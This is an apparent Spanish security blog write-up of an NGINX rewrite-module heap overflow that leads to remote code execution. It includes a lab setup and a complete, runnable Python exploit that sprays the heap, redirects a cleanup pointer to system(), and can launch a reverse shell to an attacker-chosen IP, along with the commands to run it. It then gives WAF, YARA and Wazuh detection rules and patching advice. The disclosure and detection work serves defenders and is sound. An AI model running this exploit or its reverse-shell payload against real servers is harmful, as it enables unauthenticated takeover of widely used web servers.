Que es Nginx Rift (CVE-2026-42945)
Nginx Rift es una vulnerabilidad critica de heap buffer overflow en el modulo ngx_http_rewrite_module de NGINX que permite ejecucion remota de codigo (RCE) sin autenticacion. El bug fue introducido en 2008 (version 0.6.27) y estuvo latente durante 18 anos hasta su descubrimiento autonomo por la plataforma DepthFirst en abril de 2026.
El exploit abusa de una inconsistencia en el motor de scripts de NGINX: cuando una directiva rewrite contiene un ? en la cadena de reemplazo seguida de una directiva set que referencia un grupo de captura, el calculo del tamano del buffer usa un estado (is_args=0) mientras que la copia usa otro (is_args=1), provocando que ngx_escape_uri escriba mas bytes de los reservados.
Datos clave
| Campo | Valor |
|---|---|
| CVE | CVE-2026-42945 |
| CVSS v4.0 | 9.2 (Critical) |
| CVSS v3.1 | 8.1 (High) |
| CWE | CWE-122 (Heap-based Buffer Overflow) |
| Descubridor | DepthFirst AI (Zhenpeng "Leo" Lin) |
| Vendor | F5 / NGINX |
| Publicacion | 13 mayo 2026 |
| Versiones afectadas | NGINX Open Source 0.6.27 – 1.30.0 |
| Fix | NGINX 1.31.0 / 1.30.1 / NGINX Plus R36 P4 |
| Prerequisito | Configuracion con rewrite + set y captures sin nombre |
| Impacto | RCE como worker NGINX (normalmente nobody/www-data) |
Productos afectados
- NGINX Open Source: 0.6.27 – 1.30.0
- NGINX Plus: R32 – R36
- NGINX Instance Manager: 2.16.0 – 2.21.1
- F5 WAF for NGINX: 5.9.0 – 5.12.1
- NGINX App Protect WAF: 4.9.0 – 4.16.0 y 5.1.0 – 5.8.0
- NGINX Gateway Fabric: 1.3.0 – 1.6.2 y 2.0.0 – 2.5.1
- NGINX Ingress Controller: 3.5.0 – 3.7.2, 4.0.0 – 4.0.1 y 5.0.0 – 5.4.1
Como funciona el bug
El motor de scripts de NGINX (dos pasadas)
NGINX compila las directivas rewrite y set en operaciones internas que se ejecutan en dos pasadas:
- Pasada 1 (longitud): calcula cuantos bytes necesita el buffer de destino
- Pasada 2 (copia): escribe los datos en el buffer reservado
Si el estado del motor cambia entre ambas pasadas, se produce corrupcion de memoria.
El flag is_args que nunca se limpia
Cuando la cadena de reemplazo de rewrite contiene un ?, la funcion ngx_http_script_start_args_code establece e->is_args = 1 en el motor principal y nunca lo resetea.
Cuando la directiva set posterior necesita calcular el tamano del buffer para el capture $1, crea un sub-motor temporal (le) inicializado a ceros:
ngx_http_script_engine_t le;
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;- Pasada 1 (sub-motor
le):le.is_args = 0→ devuelve la longitud raw del capture - Pasada 2 (motor principal
e):e->is_args = 1→ llama angx_escape_uriconNGX_ESCAPE_ARGS
Cada caracter escapable (+, %, &) se expande de 1 byte a 3 bytes. El buffer se reservo para N bytes pero se escriben N + 2*M bytes (donde M = numero de caracteres escapables en la URI).
Configuracion vulnerable
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}Tres condiciones necesarias:
rewritecon?en la cadena de reemplazo- Grupo de captura sin nombre (
$1,$2) — los captures con nombre ($user_id) NO son vulnerables - Directiva
set,rewriteoifposterior que referencia el capture
De heap overflow a RCE
El exploit usa heap feng shui cross-request para controlar la disposicion de memoria:
- Spray POST: enviar cuerpos POST con una estructura
ngx_pool_cleanup_sfalsa que apunta asystem()+ comando - Conexion atacante: enviar URI con padding de
+que al escaparse desborda el heap - Conexion victima: su pool de memoria esta adyacente en el heap; el overflow sobrescribe el puntero
cleanup - Trigger: cerrar la conexion victima →
ngx_destroy_pool()itera la listacleanup→ ejecutasystem(cmd)
Gracias a la arquitectura multi-proceso de NGINX (workers forked del master), el layout del heap es deterministico entre restarts — cada crash simplemente respawna un worker identico, permitiendo reintentos.
Laboratorio de reproduccion
Arquitectura del lab
┌─────────────────────────────────────────────────┐
│ Docker container (Ubuntu 22.04) │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ NGINX 1.30.0 (compilado de fuente) │ │
│ │ - ngx_http_rewrite_module │ │
│ │ - ASLR deshabilitado (setarch -R) │ │
│ │ - Puerto 19321 │ │
│ └─────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────┐ │
│ │ Backend Python :19323 │ │
│ │ (delay configurable) │ │
│ └──────────────────────────┘ │
└─────────────────────────────────────────────────┘
│
Puerto 19321 expuesto
│
┌─────────────────────┐
│ Host (atacante) │
│ poc.py --shell │
└─────────────────────┘Requisitos
- Docker + Docker Compose
- Python 3
- netcat (para reverse shell)
Ficheros del lab
Dockerfile (env/Dockerfile):
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
gcc make libpcre2-dev libssl-dev zlib1g-dev \
util-linux python3 curl git \
&& rm -rf /var/lib/apt/lists/*
RUN git clone https://github.com/nginx/nginx.git /nginx-src \
&& cd /nginx-src && git checkout 98fc3bb78
RUN cd /nginx-src && ./auto/configure \
--builddir=build \
--with-cc-opt='-g -O2 -fno-omit-frame-pointer' \
--with-ld-opt='-Wl,-z,relro -Wl,-z,now' \
--with-http_ssl_module --with-http_v2_module \
&& make -j$(nproc)
WORKDIR /app
COPY nginx.conf server.py entrypoint.sh ./
RUN chmod +x entrypoint.sh && mkdir -p logs tmp
ENTRYPOINT ["/app/entrypoint.sh"]
EXPOSE 19321docker-compose.yml (env/docker-compose.yml):
services:
nginx:
build: .
cap_add:
- SYS_PTRACE
security_opt:
- seccomp=unconfined
init: true
ports:
- "19321:19321"
tty: true
stdin_open: truenginx.conf (configuracion vulnerable):
daemon off;
worker_processes 1;
error_log logs/error.log;
pid tmp/nginx.pid;
worker_rlimit_core 500M;
working_directory tmp;
events {
worker_connections 1024;
}
http {
access_log off;
client_body_temp_path tmp;
proxy_temp_path tmp;
fastcgi_temp_path tmp;
uwsgi_temp_path tmp;
scgi_temp_path tmp;
upstream backend {
server 127.0.0.1:19323;
}
server {
listen 19322;
location / { return 200 "backend ok\n"; }
}
server {
listen 19321;
request_pool_size 7920;
connection_pool_size 4096;
client_header_buffer_size 2048;
# La combinacion rewrite + set dispara el bug:
# - rewrite establece e->is_args = 1 (por el '?' en el reemplazo)
# - set $original_endpoint $1 reserva buffer con longitud raw del
# capture, pero la copia escapa los caracteres (3x para '+')
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
location /internal {
internal;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
# Spray: cuerpo POST almacenado en pool memory (datos binarios, NUL permitido)
location /spray {
client_body_in_single_buffer on;
proxy_pass http://backend;
proxy_read_timeout 60s;
}
location / { return 200 "ok\n"; }
}
}entrypoint.sh:
#!/bin/bash
cd /app
python3 server.py &>/dev/null &
# setarch -R deshabilita ASLR para el proceso lanzado (direcciones deterministicas)
exec setarch x86_64 -R /nginx-src/build/nginx -p /app -c /app/nginx.confserver.py (backend con delay configurable):
#!/usr/bin/env python3
"""Simple HTTP backend with configurable delay via X-Delay header."""
import http.server
import time
import socketserver
class BackendHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
delay = float(self.headers.get('X-Delay', '5'))
time.sleep(delay)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'backend ok\n')
def do_POST(self):
length = int(self.headers.get('Content-Length', 0))
self.rfile.read(length)
delay = float(self.headers.get('X-Delay', '5'))
time.sleep(delay)
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b'backend ok\n')
def log_message(self, format, *args):
pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 19323), BackendHandler) as httpd:
print("Backend on :19323")
httpd.serve_forever()Exploit (poc.py)
#!/usr/bin/env python3
import argparse
import socket
import struct
import time
import sys
BODY_LEN = 4000
N_SPRAY = 20
SAFE = set()
_t = [0xffffffff, 0xd800086d, 0x50000000, 0xb8000001,
0xffffffff, 0xffffffff, 0xffffffff, 0xffffffff]
for _b in range(256):
if not (_t[_b >> 5] & (1 << (_b & 0x1f))):
SAFE.add(_b)
HEAP_BASE = 0x555555659000
LIBC_BASE = 0x7ffff77ba000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
PREREAD_HEAP_OFFSETS = [
0x05a427, 0x060e67,
0x0ba557, 0x0bf367, 0x0c4177, 0x0c8f87, 0x0cdd97,
0x0d2ba7, 0x0d79b7, 0x0dc7c7, 0x0e15d7, 0x0e63e7,
0x0eb1f7, 0x0f0007, 0x0f4e17, 0x0f9c27, 0x0fea37,
0x103847, 0x108657, 0x10d467,
]
def addr_is_safe(addr):
return all(((addr >> (j * 8)) & 0xff) in SAFE for j in range(6))
def make_body(cmd, data_addr):
fake_struct = struct.pack('<QQQ', SYSTEM_ADDR, data_addr, 0)
cmd_bytes = cmd.encode('utf-8') + b'\x00'
payload = fake_struct + cmd_bytes
if len(payload) > BODY_LEN:
print(f"[!] Command too long (body={len(payload)}, max={BODY_LEN})")
sys.exit(1)
return payload + b'\x41' * (BODY_LEN - len(payload))
def wait_alive(host, port, timeout=30):
for _ in range(timeout):
try:
s = socket.create_connection((host, port), timeout=2)
s.sendall(b"GET / HTTP/1.1\r\nHost:l\r\nConnection:close\r\n\r\n")
s.recv(100)
s.close()
return True
except Exception:
time.sleep(1)
return False
def attempt(host, port, target_bytes, body):
sprays = []
for i in range(N_SPRAY):
try:
s = socket.create_connection((host, port), timeout=5)
req = (
b"POST /spray HTTP/1.1\r\n"
b"Host: l\r\n"
b"Content-Length: " + str(BODY_LEN).encode() + b"\r\n"
b"X-Delay: 60\r\n"
b"Connection: close\r\n"
b"\r\n"
+ body
)
s.sendall(req)
sprays.append(s)
except Exception:
break
time.sleep(0.005)
time.sleep(0.2)
try:
a = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
v = socket.create_connection((host, port), timeout=5)
time.sleep(0.02)
except Exception:
for s in sprays:
try:
s.close()
except Exception:
pass
return False
payload = "A" * 349 + "+" * 969 + target_bytes.decode("latin-1")
a.sendall((f"GET /api/{payload} HTTP/1.1\r\n"
f"Host:localhost\r\n").encode("latin-1"))
time.sleep(0.05)
v.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\n")
time.sleep(0.05)
a.sendall(b"X-Delay:60\r\nConnection:close\r\n\r\n")
time.sleep(0.2)
v.close()
time.sleep(0.1)
crashed = False
try:
a.sendall(b"X-Ping:1\r\n")
a.settimeout(0.2)
data = a.recv(1)
if not data:
crashed = True
except socket.timeout:
try:
check_sock = socket.create_connection((host, port), timeout=0.2)
check_sock.sendall(b"GET / HTTP/1.1\r\nHost:localhost\r\nConnection:close\r\n\r\n")
check_data = check_sock.recv(10)
check_sock.close()
if not check_data:
crashed = True
else:
crashed = False
except Exception:
crashed = True
except (ConnectionResetError, BrokenPipeError, OSError):
crashed = True
for s in sprays:
try:
s.close()
except Exception:
pass
try:
a.close()
except Exception:
pass
return crashed
def main():
parser = argparse.ArgumentParser(
description="nginx rift RCE exploit (ASLR disabled)"
)
parser.add_argument("--host", default="127.0.0.1",
help="target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=19321,
help="target port (default: 19321)")
parser.add_argument("--cmd",
help="shell command to execute via system()")
parser.add_argument("--shell", action="store_true",
help="execute a reverse shell back to the attacker")
parser.add_argument("--listen-port", type=int, default=1337,
help="port to listen on for reverse shell (default: 1337)")
parser.add_argument("--listen-ip", type=str, default="172.17.0.1",
help="IP address for reverse shell to connect back to (default: 172.17.0.1)")
args = parser.parse_args()
if not args.cmd and not args.shell:
parser.error("either --cmd or --shell must be specified")
if args.cmd and args.shell:
parser.error("cannot specify both --cmd and --shell")
host = args.host
port = args.port
if args.shell:
local_ip = args.listen_ip
cmd = f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{local_ip}\",{args.listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
print(f"[*] Generated reverse shell command: {cmd}")
else:
cmd = args.cmd
if args.shell:
import threading
def listen_shell():
print(f"[*] Listening for reverse shell on port {args.listen_port}...")
import subprocess
try:
subprocess.run(["nc", "-l", "-p", str(args.listen_port)], check=True)
except Exception:
print(f"[!] Could not start netcat. Please run: nc -l -p {args.listen_port}")
t = threading.Thread(target=listen_shell)
t.daemon = True
t.start()
time.sleep(1)
candidates = []
for i, off in enumerate(PREREAD_HEAP_OFFSETS):
addr = HEAP_BASE + off
if addr_is_safe(addr):
candidates.append((i, addr))
primary_addr = candidates[0][1]
data_addr = primary_addr + 24
body = make_body(cmd, data_addr)
print(f"[*] Waiting for nginx on {host}:{port}...")
if not wait_alive(host, port):
print("[!] nginx not responding")
return 1
print("[+] Connected.")
TRIES_PER_CANDIDATE = 10
for i, addr in candidates:
target = bytes([(addr >> (j * 8)) & 0xff for j in range(6)])
for t in range(TRIES_PER_CANDIDATE):
if not wait_alive(host, port, timeout=10):
time.sleep(2)
if not wait_alive(host, port, timeout=10):
print(" server not recovering, aborting")
return 1
crashed = attempt(host, port, target, body)
if crashed:
if args.shell:
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
pass
else:
print(f"[+] try {t + 1}/{TRIES_PER_CANDIDATE} "
f"crashed — system(\"{cmd}\") executed")
print(f"[+] Done.")
return 0
time.sleep(0.3)
print("[+] All candidates tried — no crash detected.")
return 0
if __name__ == "__main__":
sys.exit(main())Despliegue del lab
# Clonar el repositorio del PoC
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift.git
cd Nginx-Rift
# Construir el contenedor (compila NGINX desde fuente, ~5 min)
./setup.sh
# Iniciar el servidor vulnerable
docker compose -f env/docker-compose.yml upEjecutar el exploit
# Terminal 1: servidor ya corriendo con docker compose up
# Terminal 2: ejecutar comando arbitrario
python3 poc.py --cmd 'id > /tmp/pwned'
# Verificar ejecucion
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
# O bien: obtener reverse shell
# Terminal 2: escuchar
nc -lvnp 1337
# Terminal 3: lanzar exploit con shell
python3 poc.py --shell --listen-ip 172.17.0.1 --listen-port 1337Salida esperada del exploit:
[*] Waiting for nginx on 127.0.0.1:19321...
[+] Connected.
[+] try 1/10 crashed — system("id > /tmp/pwned") executed
[+] Done.Verificar el RCE
# Comprobar que el fichero se creo dentro del contenedor
docker compose -f env/docker-compose.yml exec nginx ls -la /tmp/pwned
docker compose -f env/docker-compose.yml exec nginx cat /tmp/pwned
# uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)Limpiar el lab
docker compose -f env/docker-compose.yml down --rmi allComo funciona la explotacion paso a paso
1. Heap spray con POST bodies
El atacante abre 20 conexiones simultaneas enviando POST /spray con un cuerpo de 4000 bytes. Este cuerpo contiene una estructura ngx_pool_cleanup_s falsa:
Offset 0x00: SYSTEM_ADDR (8 bytes) — puntero a system() en libc
Offset 0x08: DATA_ADDR (8 bytes) — puntero al comando (offset +24 del spray)
Offset 0x10: 0x00 (8 bytes) — next = NULL (fin de lista)
Offset 0x18: "id > /tmp/pwned\0" — el comando a ejecutar
Offset 0x2X: padding 'A' hasta 4000 bytesEstos cuerpos POST pueden contener bytes nulos (a diferencia de URIs), lo que permite inyectar punteros arbitrarios.
2. Apertura de conexiones atacante + victima
Se abren dos conexiones TCP:
- Conexion A (atacante): se le enviara la URI maliciosa
- Conexion V (victima): su pool sera el target del overflow
El orden de apertura determina la adjacencia en el heap.
3. Envio de URI con padding de +
La URI enviada a la conexion A tiene la forma:
GET /api/AAAA...AAA++++...++++<target_bytes> HTTP/1.1- 349 bytes de
A(padding seguro, no se escapa) - 969 bytes de
+(cada+se expande a%2B= 3 bytes → overflow de 969*2 = 1938 bytes) - 6 bytes del puntero target (direccion del spray en el heap, filtrada para ser URI-safe)
4. Overflow y trigger
Al procesarse la URI:
rewriteestablecee->is_args = 1set $original_endpoint $1calcula buffer de ~1318 bytes (longitud raw)- La copia con escape escribe ~3256 bytes → overflow de ~1938 bytes sobre el pool adyacente
- Los ultimos 6 bytes sobrescriben el puntero
cleanupdel pool victima - Al cerrar la conexion V,
ngx_destroy_pool()ejecutacleanup->handler(cleanup->data)→system("id > /tmp/pwned")
5. Determinismo del heap
NGINX usa fork() para crear workers. Todos los workers tienen exactamente el mismo layout de memoria (copia del master). Si un intento falla y crashea el worker, el master respawna uno identico. Esto permite:
- Reintentar sin cambio de offsets
- Bruteforce de la posicion del spray (20 candidatos pre-calculados)
Nota: el PoC requiere ASLR deshabilitado (setarch -R). Con ASLR activo, seria necesario un leak previo de direcciones (posible via la misma arquitectura fork, byte-a-byte).
Deteccion del ataque
Indicadores de red
- Multiples requests
POST /sprayde tamano fijo (4000 bytes) en rapida sucesion - URIs extremadamente largas (~1300+ caracteres) con cadenas repetitivas de
+a endpoints tipo/api/... - Conexiones TCP parciales que se cierran abruptamente despues del POST spray
Reglas ModSecurity/WAF
# Detectar URIs con exceso de caracteres + (indicador de heap spray)
SecRule REQUEST_URI "@rx \+{100,}" \
"id:100600,phase:1,deny,status:403,\
msg:'CVE-2026-42945: Possible Nginx Rift exploit attempt (excessive + chars in URI)'"
# Detectar requests extremadamente largas a /api/
SecRule REQUEST_URI "@rx ^/api/.{1000,}" \
"id:100601,phase:1,deny,status:403,\
msg:'CVE-2026-42945: Abnormally long API path (possible overflow attempt)'"Deteccion via access log
Si se activa el access log, buscar patrones:
# Buscar URIs sospechosas en logs
grep -P '/api/.{1000,}' /var/log/nginx/access.log
grep -P '\+{50,}' /var/log/nginx/access.logRegla YARA
rule NginxRift_CVE_2026_42945 {
meta:
description = "Detecta el exploit Nginx Rift (CVE-2026-42945)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-42945"
severity = "critical"
strings:
$s1 = "nginx rift" ascii nocase
$s2 = "ngx_escape_uri" ascii
$s3 = "NGX_ESCAPE_ARGS" ascii
$s4 = "ngx_http_script_copy_capture" ascii
$s5 = "PREREAD_HEAP_OFFSETS" ascii
$s6 = "make_body" ascii
$s7 = "heap feng shui" ascii nocase
$s8 = "depthfirst" ascii nocase
$s9 = "/spray" ascii
$s10 = "setarch" ascii
// Patron de spray: struct.pack con SYSTEM_ADDR
$pack = { 70 0d 05 00 00 00 00 00 }
condition:
($s1 and $s9) or
($s5 and $s6) or
($s2 and $s5) or
($s9 and $s10 and $s6) or
(4 of ($s*)) or
$pack
}Reglas Wazuh
<group name="nginx-rift,exploit,cve-2026-42945">
<!-- Deteccion de URIs extremadamente largas con + repetidos -->
<rule id="100530" level="14">
<if_sid>31100</if_sid>
<regex type="pcre2">/api/.{1000,}\+{100,}</regex>
<description>CVE-2026-42945: Posible explotacion Nginx Rift (URI con + excesivos)</description>
<mitre>
<id>T1190</id>
</mitre>
<group>exploit_attempt,web,</group>
</rule>
<!-- Deteccion de multiples POST /spray en corto tiempo -->
<rule id="100531" level="12" frequency="10" timeframe="5">
<if_matched_sid>31100</if_matched_sid>
<regex type="pcre2">POST /spray</regex>
<description>CVE-2026-42945: Heap spray detectado (multiples POST /spray)</description>
<mitre>
<id>T1190</id>
</mitre>
<group>exploit_attempt,web,</group>
</rule>
<!-- Worker crash loop -->
<rule id="100532" level="13">
<if_sid>31100</if_sid>
<match>worker process</match>
<match>exited on signal 11</match>
<description>CVE-2026-42945: NGINX worker crash (posible explotacion Nginx Rift)</description>
<mitre>
<id>T1499.004</id>
</mitre>
<group>exploit_attempt,service_availability,</group>
</rule>
</group>Script de deteccion rapida
#!/bin/bash
# check_nginx_rift.sh - Verificar estado de CVE-2026-42945
echo "=== CVE-2026-42945 (Nginx Rift) - Check ==="
echo ""
VULN=0
# 1. Verificar version de NGINX
NGINX_BIN=$(which nginx 2>/dev/null || echo "/usr/sbin/nginx")
if [ -x "$NGINX_BIN" ]; then
VERSION=$($NGINX_BIN -v 2>&1 | grep -oP 'nginx/\K[0-9.]+')
echo "[INFO] Version: nginx/$VERSION"
# Comparar version (vulnerable: <= 1.30.0)
if printf '%s\n' "1.30.0" "$VERSION" | sort -V | head -1 | grep -q "^$VERSION$"; then
if [ "$VERSION" != "1.31.0" ] && [ "$VERSION" != "1.30.1" ]; then
echo "[VULNERABLE] Version $VERSION es vulnerable (< 1.30.1)"
VULN=1
fi
else
echo "[OK] Version $VERSION es >= 1.31.0 (parcheada)"
fi
else
echo "[INFO] NGINX no encontrado en el sistema"
fi
# 2. Buscar configuracion vulnerable
echo ""
echo "Buscando configuraciones vulnerables..."
CONF_DIRS="/etc/nginx /usr/local/nginx/conf /opt/nginx/conf"
for dir in $CONF_DIRS; do
if [ -d "$dir" ]; then
# Buscar rewrite con ? seguido de set con $1/$2
MATCHES=$(grep -rn 'rewrite.*\$.*?.*' "$dir" 2>/dev/null | grep -v '#')
if [ -n "$MATCHES" ]; then
echo " [ALERTA] Posible configuracion vulnerable en $dir:"
echo "$MATCHES" | while read line; do
echo " $line"
done
# Verificar si usa captures sin nombre ($1, $2, etc)
if echo "$MATCHES" | grep -qP '\$[0-9]+'; then
echo " [VULNERABLE] Usa captures sin nombre (\$1, \$2) con ? en rewrite"
VULN=2
fi
fi
fi
done
# 3. Verificar si ASLR esta habilitado
echo ""
ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null)
if [ "$ASLR" = "2" ]; then
echo "[MITIGADO] ASLR completamente habilitado (randomize_va_space=2)"
elif [ "$ASLR" = "1" ]; then
echo "[PARCIAL] ASLR parcial (randomize_va_space=1)"
elif [ "$ASLR" = "0" ]; then
echo "[CRITICO] ASLR deshabilitado - explotacion trivial"
VULN=2
fi
# 4. Verificar crashes recientes de workers
echo ""
echo "Buscando crashes de workers NGINX..."
if [ -f /var/log/nginx/error.log ]; then
CRASHES=$(grep -c "exited on signal 11" /var/log/nginx/error.log 2>/dev/null)
if [ "$CRASHES" -gt "0" ]; then
echo " [ALERTA] $CRASHES crashes de worker encontrados (signal 11 = SIGSEGV)"
else
echo " [OK] No se detectan crashes de workers"
fi
fi
echo ""
if [ $VULN -eq 2 ]; then
echo "[CRITICO] Configuracion vulnerable detectada"
echo " Accion inmediata: usar named captures en lugar de \$1/\$2"
echo " Solucion definitiva: actualizar a NGINX >= 1.31.0"
elif [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Version vulnerable detectada"
echo " Verificar configuracion manualmente"
echo " Solucion: actualizar a NGINX >= 1.31.0"
else
echo "[OK] Sistema no vulnerable o no aplica"
fiWorkaround: usar named captures
Si no puedes actualizar inmediatamente, la mitigacion es reemplazar captures sin nombre por captures con nombre en todas las directivas rewrite:
Vulnerable:
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;Mitigado:
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;Buscar y corregir todas las ocurrencias:
# Encontrar todas las configuraciones potencialmente vulnerables
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/ 2>/dev/null
# Verificar que no quedan captures sin nombre despues de corregir
nginx -t && nginx -s reloadQue rompe esto:
- Nada funcional — los named captures son equivalentes semanticamente
- Solo requiere renombrar
$1,$2por nombres descriptivos
Solucion definitiva: actualizar NGINX
| Producto | Version parcheada |
|---|---|
| NGINX Open Source | 1.31.0 o 1.30.1 |
| NGINX Plus | R36 P4 / R32 P6 |
# Ubuntu/Debian
apt update && apt install nginx
# CentOS/RHEL
yum update nginx
# Verificar version
nginx -v
# nginx version: nginx/1.31.0
# Reiniciar
systemctl restart nginxEl parche corrige el bug reseteando e->is_args correctamente entre evaluaciones de directivas, asegurando que la pasada de calculo de longitud y la pasada de copia usen el mismo estado de escape.
Timeline
| Fecha | Evento |
|---|---|
| 2008 | Bug introducido en NGINX 0.6.27 |
| 18 abril 2026 | DepthFirst analiza el codigo fuente de NGINX |
| 21 abril 2026 | Reporte a NGINX via GitHub Security Advisory |
| 24 abril 2026 | NGINX confirma 4 de 5 issues reportados |
| 28 abril 2026 | DepthFirst informa que tiene PoC de RCE funcional |
| 5 mayo 2026 | PoC compartido con NGINX + video demo |
| 13 mayo 2026 | F5 publica advisory + parche (NGINX 1.31.0 / 1.30.1) |
| 14 mayo 2026 | DepthFirst publica writeup tecnico y PoC |
Comentarios